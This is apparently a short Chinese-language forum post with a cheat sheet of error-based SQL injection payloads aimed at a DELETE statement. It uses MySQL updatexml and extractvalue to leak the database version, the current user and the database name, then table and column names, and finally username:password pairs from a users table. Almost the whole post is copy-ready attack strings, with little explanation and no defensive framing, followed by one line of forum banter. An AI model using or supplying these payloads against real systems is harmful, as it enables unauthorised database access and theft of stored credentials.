delete注入
找到删除连接
爆出数据库的版本
or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
当前连接用户
or updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
爆出数据库
or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
获取表名
or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or ''
获取列名
or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1 )),0) or ''
获取数据
or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1 )),0) or ''
利用extractvalue函数
爆表名:
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ''
爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or ''
爆数据:
or extractvalue(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1))) or ''
大佬开车!坐稳了!{:9002:}
页:
[1]